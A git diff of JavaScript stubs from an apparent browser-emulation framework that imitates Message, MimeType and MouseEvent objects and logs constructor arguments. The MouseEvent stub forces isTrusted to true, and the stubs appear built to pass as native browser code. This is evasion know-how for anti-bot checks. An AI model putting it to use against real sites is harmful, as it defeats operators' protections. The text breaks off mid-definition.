a/env_xbb_lastest_jsdom/env/MessageChannel.js b/env_xbb_lastest_jsdom/env/MessageChannel.js index 3c585673..e72017b4 100644 --- a/env_xbb_lastest_jsdom/env/MessageChannel.js +++ b/env_xbb_lastest_jsdom/env/MessageChannel.js @@ -1,5 +1,30 @@ -// MessageChannel对象 -bodavm.memory.globalobj['MessageChannel'] = function MessageChannel(){this._boarg= new bodaobj.window.MessageChannel();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageChannel'], "MessageChannel"); -bodavm.toolsFunc.defineProperty('MessageChannel', "port1", {configurable:true, enumerable:true, get:function port1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageChannel', "port2", {configurable:true, enumerable:true, get:function port2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port2_get", arguments)}, set:undefined},'prototype'); +// MessageChannel对象 + +bodavm.memory.globalobj['MessageChannel'] = function MessageChannel() { + console.log_copy('MessageChannel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MessageChannel(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageChannel'], "MessageChannel"); +bodavm.toolsFunc.defineProperty('MessageChannel', "port1", { + configurable: true, + enumerable: true, + get: function port1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageChannel', "port2", { + configurable: true, + enumerable: true, + get: function port2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port2_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MessageEvent.js b/env_xbb_lastest_jsdom/env/MessageEvent.js index f51c5af0..a9776dc1 100644 --- a/env_xbb_lastest_jsdom/env/MessageEvent.js +++ b/env_xbb_lastest_jsdom/env/MessageEvent.js @@ -1,12 +1,75 @@ -// MessageEvent对象 -bodavm.memory.globalobj['MessageEvent'] = function MessageEvent(){if (!(this instanceof MessageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MessageEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageEvent'], "MessageEvent"); -bodavm.memory.globalobj['MessageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MessageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MessageEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "lastEventId", {configurable:true, enumerable:true, get:function lastEventId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "lastEventId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "source_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "ports", {configurable:true, enumerable:true, get:function ports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "ports_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "userActivation", {configurable:true, enumerable:true, get:function userActivation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "userActivation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "initMessageEvent", {configurable:true, enumerable:true, writable:true, value:function initMessageEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "initMessageEvent", arguments)}},'prototype'); +// MessageEvent对象 + +bodavm.memory.globalobj['MessageEvent'] = function MessageEvent() { + console.log_copy('MessageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MessageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MessageEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageEvent'], "MessageEvent"); +bodavm.memory.globalobj['MessageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MessageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MessageEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "lastEventId", { + configurable: true, + enumerable: true, + get: function lastEventId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "lastEventId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "ports", { + configurable: true, + enumerable: true, + get: function ports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "ports_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "userActivation", { + configurable: true, + enumerable: true, + get: function userActivation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "userActivation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "initMessageEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initMessageEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "initMessageEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MessagePort.js b/env_xbb_lastest_jsdom/env/MessagePort.js index 8f3c7ec8..e192721a 100644 --- a/env_xbb_lastest_jsdom/env/MessagePort.js +++ b/env_xbb_lastest_jsdom/env/MessagePort.js @@ -1,10 +1,63 @@ -// MessagePort对象 -bodavm.memory.globalobj['MessagePort'] = function MessagePort(){if (!(this instanceof MessagePort)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessagePort'], "MessagePort"); -bodavm.memory.globalobj['MessagePort'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MessagePort'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MessagePort', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "postMessage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "start", arguments)}},'prototype'); +// MessagePort对象 + +bodavm.memory.globalobj['MessagePort'] = function MessagePort() { + console.log_copy('MessagePort 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MessagePort)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessagePort'], "MessagePort"); +bodavm.memory.globalobj['MessagePort'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MessagePort'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MessagePort', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "postMessage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "start", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MimeType.js b/env_xbb_lastest_jsdom/env/MimeType.js index 954abba3..26715c1d 100644 --- a/env_xbb_lastest_jsdom/env/MimeType.js +++ b/env_xbb_lastest_jsdom/env/MimeType.js @@ -1,7 +1,49 @@ -// MimeType对象 -bodavm.memory.globalobj['MimeType'] = function MimeType(){if (!(this instanceof MimeType)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeType'], "MimeType"); -bodavm.toolsFunc.defineProperty('MimeType', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeType', "suffixes", {configurable:true, enumerable:true, get:function suffixes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "suffixes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeType', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "description_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeType', "enabledPlugin", {configurable:true, enumerable:true, get:function enabledPlugin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "enabledPlugin_get", arguments)}, set:undefined},'prototype'); +// MimeType对象 + +bodavm.memory.globalobj['MimeType'] = function MimeType() { + console.log_copy('MimeType 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MimeType)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeType'], "MimeType"); +bodavm.toolsFunc.defineProperty('MimeType', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "suffixes", { + configurable: true, + enumerable: true, + get: function suffixes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "suffixes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "description", { + configurable: true, + enumerable: true, + get: function description() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "description_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "enabledPlugin", { + configurable: true, + enumerable: true, + get: function enabledPlugin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "enabledPlugin_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MimeTypeArray.js b/env_xbb_lastest_jsdom/env/MimeTypeArray.js index 33b23735..951bf261 100644 --- a/env_xbb_lastest_jsdom/env/MimeTypeArray.js +++ b/env_xbb_lastest_jsdom/env/MimeTypeArray.js @@ -1,6 +1,41 @@ -// MimeTypeArray对象 -bodavm.memory.globalobj['MimeTypeArray'] = function MimeTypeArray(){if (!(this instanceof MimeTypeArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeTypeArray'], "MimeTypeArray"); -bodavm.toolsFunc.defineProperty('MimeTypeArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeTypeArray', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MimeTypeArray', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "namedItem", arguments)}},'prototype'); +// MimeTypeArray对象 + +bodavm.memory.globalobj['MimeTypeArray'] = function MimeTypeArray() { + console.log_copy('MimeTypeArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MimeTypeArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeTypeArray'], "MimeTypeArray"); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "namedItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MouseEvent.js b/env_xbb_lastest_jsdom/env/MouseEvent.js index 4529a718..746cdf81 100644 --- a/env_xbb_lastest_jsdom/env/MouseEvent.js +++ b/env_xbb_lastest_jsdom/env/MouseEvent.js @@ -1,30 +1,223 @@ -// MouseEvent对象 -bodavm.memory.globalobj['MouseEvent'] = function MouseEvent(){if (!(this instanceof MouseEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MouseEvent'], "MouseEvent"); -bodavm.memory.globalobj['MouseEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['MouseEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('MouseEvent', "screenX", {configurable:true, enumerable:true, get:function screenX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "screenY", {configurable:true, enumerable:true, get:function screenY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "clientX", {configurable:true, enumerable:true, get:function clientX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "clientY", {configurable:true, enumerable:true, get:function clientY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "altKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "button", {configurable:true, enumerable:true, get:function button (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "button_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "buttons", {configurable:true, enumerable:true, get:function buttons (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "buttons_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "relatedTarget", {configurable:true, enumerable:true, get:function relatedTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "relatedTarget_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "pageX", {configurable:true, enumerable:true, get:function pageX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "pageY", {configurable:true, enumerable:true, get:function pageY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "offsetX", {configurable:true, enumerable:true, get:function offsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "offsetY", {configurable:true, enumerable:true, get:function offsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "movementX", {configurable:true, enumerable:true, get:function movementX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "movementY", {configurable:true, enumerable:true, get:function movementY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "fromElement", {configurable:true, enumerable:true, get:function fromElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "fromElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "toElement", {configurable:true, enumerable:true, get:function toElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "toElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "layerX", {configurable:true, enumerable:true, get:function layerX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "layerY", {configurable:true, enumerable:true, get:function layerY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "getModifierState", {configurable:true, enumerable:true, writable:true, value:function getModifierState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "getModifierState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "initMouseEvent", {configurable:true, enumerable:true, writable:true, value:function initMouseEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "initMouseEvent", arguments)}},'prototype'); +// MouseEvent对象 + +bodavm.memory.globalobj['MouseEvent'] = function MouseEvent() { + console.log_copy('MouseEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this.isTrusted=true + // this.timeStamp=907807.599999994 + debugger + this._botype=arguments[0] + if (!(this instanceof MouseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': 1 argument required, but only 0 present."); + } + // ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MouseEvent'], "MouseEvent"); +bodavm.memory.globalobj['MouseEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['MouseEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('MouseEvent', "screenX", { + configurable: true, + enumerable: true, + get: function screenX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "screenY", { + configurable: true, + enumerable: true, + get: function screenY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "clientX", { + configurable: true, + enumerable: true, + get: function clientX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "clientY", { + configurable: true, + enumerable: true, + get: function clientY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "ctrlKey", { + configurable: true, + enumerable: true, + get: function ctrlKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "ctrlKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "shiftKey", { + configurable: true, + enumerable: true, + get: function shiftKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "shiftKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "altKey", { + configurable: true, + enumerable: true, + get: function altKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "altKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "metaKey", { + configurable: true, + enumerable: true, + get: function metaKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "metaKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "button", { + configurable: true, + enumerable: true, + get: function button() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "button_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "buttons", { + configurable: true, + enumerable: true, + get: function buttons() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "buttons_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "relatedTarget", { + configurable: true, + enumerable: true, + get: function relatedTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "relatedTarget_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "pageX", { + configurable: true, + enumerable: true, + get: function pageX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "pageY", { + configurable: true, + enumerable: true, + get: function pageY() { + return 